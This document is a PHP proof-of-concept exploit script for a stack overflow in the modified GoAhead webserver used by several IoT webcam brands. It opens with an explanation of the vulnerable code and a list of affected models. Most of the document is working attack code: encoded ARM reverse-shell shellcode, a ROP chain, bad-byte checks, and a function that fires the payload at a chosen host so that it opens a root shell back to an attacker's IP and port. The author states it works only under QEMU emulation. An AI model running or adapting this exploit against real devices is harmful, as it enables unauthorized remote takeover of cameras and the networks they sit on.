UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others IoT webcams : remote code exec: reverse shell PoC. (works only in qemu usermode)

upwned247.php

<?php
/*
	NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION!
	If anyone wants to fix this, go ahead (no pun intended).
	However, I don't have a vulnerable product and am unwilling to acquire one.
	
	-------------------------

	UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others
	remote code exec: reverse shell PoC.

	This exploits a stack overflow in the websSecurityHandler() function of
	the modded goahead webserver used by many different IoT cameras.

	Basically, code like the following is included near the beginning of
	the function:

	-----
	// original code
	type = websGetRequestType(wp);
	password = websGetRequestPassword(wp);
	userid = websGetRequestUserName(wp);
	flags = websGetRequestFlags(wp);

	// added code
	if (query != NULL) {
		sprintf(querysearch, "%s=", "basic"); // querysearch is a 256-byte char array on the stack
		char* queryval = strstr(query,querysearch);
		if (queryval != NULL) {
			char* ptr = &queryval[strlen(querysearch)];
			int i = 0;
			while ((ptr[i] != NULL) && (ptr[i] != '&')) {
				queryval_cpy[i] = ptr[i]; // queryval_cpy is a 256-byte char array on the stack
				i++;
			}
			queryval_cpy[i] = 0;
			strcpy(debase64,""); // debase64 is a 256-byte char array on the stack. also, wtf?
			websDecode64(debase64,queryval_cpy,256);
			userid = strtok(debase64,":");
			password = strtok(0,""); // again, wtf?
		}
	}
	if (!strcmp(path,"/")) {
		return 0;
	}

	// original code
	accessLimit = umGetAccessLimit(path);
	if (accessLimit == NULL) {
		return 0;
	}
	-----
	
	I'm pretty sure you can see the vuln here, that big glaring inline
	strcpy onto the stack.
	On exit of the function, r11 points to an address on the stack that's
	0x3C8 past the start of the queryval_cpy variable. This can be used if
	needed, however, thanks to the large list of bad bytes (other than 0x0,
	and 0x26, 0x23 ('#') is also a bad byte, as is 0x20, and 0x1F and below
	along with a couple of other bytes get corrupted to 0x5F or 0xCF.
	Thanks to this complication, this exploit uses a small ROP chain to get
	shellcode execution in thumb mode, and so the shellcode can be located
	directly after the ROP chain to save space.
	Also, the shellcode has to be encoded, and an encoder had to be made
	that did not use any bad bytes. More information about that below.
	This also means that you cannot use certain IPs and ports for your
	reverse shell. You can of course rectify this if required by increasing
	the length of the encoded bytes, and storing the sockaddr struct
	encrypted in addition to the shellcode itself.
	Please note that to avoid bad bytes, the shellcode itself sets the first
	16 bits of the sockaddr struct (on entry the first 16 bits is a
	placeholder value, ie, 0xFFFF).

	Full list of *known* affected models:
	UCam247: NC308W/NC328W (UCam247i/247i-HD/247i-1080HD/247-HDO1080)
	Phylink: 213W/223W/233W/325PW/336PW
	Titathink: Babelens/TT520G/TT520PW/TT521PW/TT522PW/TT610W/TT620CW/TT620W
	           TT630CW/TT630W/TT730LPW/TT730PW
	           Basically the entire (still supported?) product line ;)
	YCam: Any device running a firmware dated 2014-04-06 or above
	Anbash: NC223W/NC322W/NC325W
	Trivision: 228WF/239WF/240WF/326PW/336PW
	Netvision: NCP2255I/NCP2475E

	Affected models which use a different libc and therefore need a port:
	(I'll let someone else do that, anyone want to take on the challenge?)
	UCam247: NC328SW (UCam247-HDO1080Plus)
	Phylink: 325SPW/325SPW
*/

echo <<<END
_____ ______________      ____  ______________  ____  ....::  ..    .......
T    Y    T ______ T      T   \ T   T  _____ T  T  T .: :::' .:         .:'
|    |    | l____j |\_/\_/\    \|   |  l___j |  |  |.: .::' .:   ..    .:'
|    |    |   _____j      /   _     |  _ ____j__j  |  .::' .::...::.  .:'
l_________j   T     \_/\_/|   |\    |_______j____  | .::'        ::  .:'
          |   |           l___j \___j     |  l__j  |.:'' ...     :: .:'
          l___j                           |________j::...:         .:'

[   p  l  u  g   a  n  d   v  i  e  w   r  e  m  o  t  e   s  h  e  l  l  s    ]

[*] UPwned247: UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others
    remote code execution - reverse rootshell PoC! <3
[*] Another *Ring of Lightning* production, all work done by slipstream/RoL!
    https://twitter.com/TheWack0lian :: https://rol.im/chat/

END;

/* Shellcode is based on midnitesnake's reverse shell Thumb PIC.
   It's been modified and crypted here, to avoid hitting bad bytes.
   (The shellcode decrypter was done by myself, and again avoids hitting bad
    bytes.)
   (The shellcode is crypted with XOR 0x60, this constant was chosen just
    because no bad bytes are hit when using it.)
   It's not the smallest shellcode in the world, with lots of padding. Again
   because of the bad bytes.
   Known bad bytes: <= 0x20, 0x23, 0x26.
   Bad bytes here either terminate the string or get corrupted to 0x5F.
*/  
$shellcode = array(
	0x24,0xa4,0x38,0x21,
	0x22,0x4b,0x27,0x68,
	0x5f,0x40,0x27,0x60,
	0x21,0x3c,0x25,0x34,
	0x21,0x31,0x25,0x39,
	0xf7,0xd1,0x3d,0xe0,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x41,0x41,0x41,0x41,
	0x60,0x60,0x60,0x60,
	
	0x62,0x40,0x61,0x41,
	0xf2,0x7a,0x6f,0x62,
	0x79,0x57,0x61,0xbf,
	0x66,0x7c,0x6a,0xc1,
	0x62,0x42,0x6a,0xe0,
	0x70,0x42,0x62,0x57,
	0x61,0xbf,0x5f,0x47,
	0x62,0x41,0x50,0x7c,
	0x61,0xbf,0x61,0x59,
	0x9b,0xb5,0x66,0xc0,
	0xf2,0x7a,0x65,0xd4,
	0x9f,0x7b,0x60,0xcf,
	0x59,0x7c,0x6b,0x47,
	0x61,0xbf,0x5f,0x7c,
	
	0xff,0xff
);

$shellcode = implode('',array_map(function($a) { return chr($a); },$shellcode));

$rop = pack('V',
	0xF67BF954) // mov r0,r11 ; add sp,sp,#0x64 ; ldmfd sp!,{r4-r11, lr} ; bx lr
.str_repeat('A',0x64) // stack filler
.pack('V*',
	0x34343434, // r4
	0x35353535, // r5
	0x36363636, // r6
	0x37373737, // r7
	0x38383838, // r8
	0x39393939, // r9
	0x30303030, // r10
	0x31313131, // r11
	0xf67b99a0, // pop {r2, r3, r4, lr} ; bx lr
	0x32323232, // r2
	0x21212122, // r3
	0x34343434, // r4
	0xf67b95cc, // add r0, r3, r0 ; pop {r4, r5, r6, lr} ; bx lr
	0x34343434, // r4
	0x35353535, // r5
	0x36363636, // r6
	0xf67b99a0, // pop {r2, r3, r4, lr} ; bx lr
	0x32323232, // r2
	0xdededcff, // r3 // this makes r3 point directly after the rop chain. change this if your rop chain is bigger.
	0x34343434, // r4
	0xf67b95cc, // add r0, r3, r0 ; pop {r4, r5, r6, lr} ; bx lr
	0x34343434, // r4
	0x35353535, // r5
	0x36363636, // r6
	0xf67b7a94  // mov r3, r0 ; mov r0, sp ; mov lr, pc ; bx r3
);

// quick self checks

function show_usage($a) {
	echo '[*] Usage: '.$a.' <host> <reverse shell IP> <reverse shell port>...'."\r\n";
	die();
}

function pwn($host) {
	global $shellcode;
	global $rop;
	echo "[+] Crafting request for $host ...\r\n";
	$url = 'http://' . $host . '/?basic=';
	$url .= str_repeat('A',0x100);
	$url .= '4444555566667777888899990000'; // r4 to r10 values
	$url .= $rop;
	$url .= $shellcode;
	
	echo "[+] Sending request, make sure you have netcat up...\r\n";
	$ctx = stream_context_create(array('http'=>array('timeout'=>10)));
	@file_get_contents($url,false,$ctx);
}

if ($argc < 3) show_usage($argv[0]);

$host = $argv[1];
$ip = array_map(function($a) { return (int)$a; },explode('.',$argv[2]));
if (count($ip) < 4) show_usage($argv[0]);
$port = (int) $argv[3];
if ($port == 0) show_usage($argv[0]);

$shellcode .= pack('nCCCC',$port,$ip[0],$ip[1],$ip[2],$ip[3]) . "/bin/sh";

for ($i = 0; $i < 0x21; $i++) {
	if (strpos($rop.$shellcode,chr($i)) !== false)
		die("[-] Shellcode or ROP chain has an invalid byte in it!");
}

foreach (array('&','#') as $i) {
	if (strpos($rop.$shellcode,$i) !== false)
		die("[-] Shellcode or ROP chain has an invalid byte in it!");
}

file_put_contents('arm_shellcode.bin',$shellcode);

pwn($host);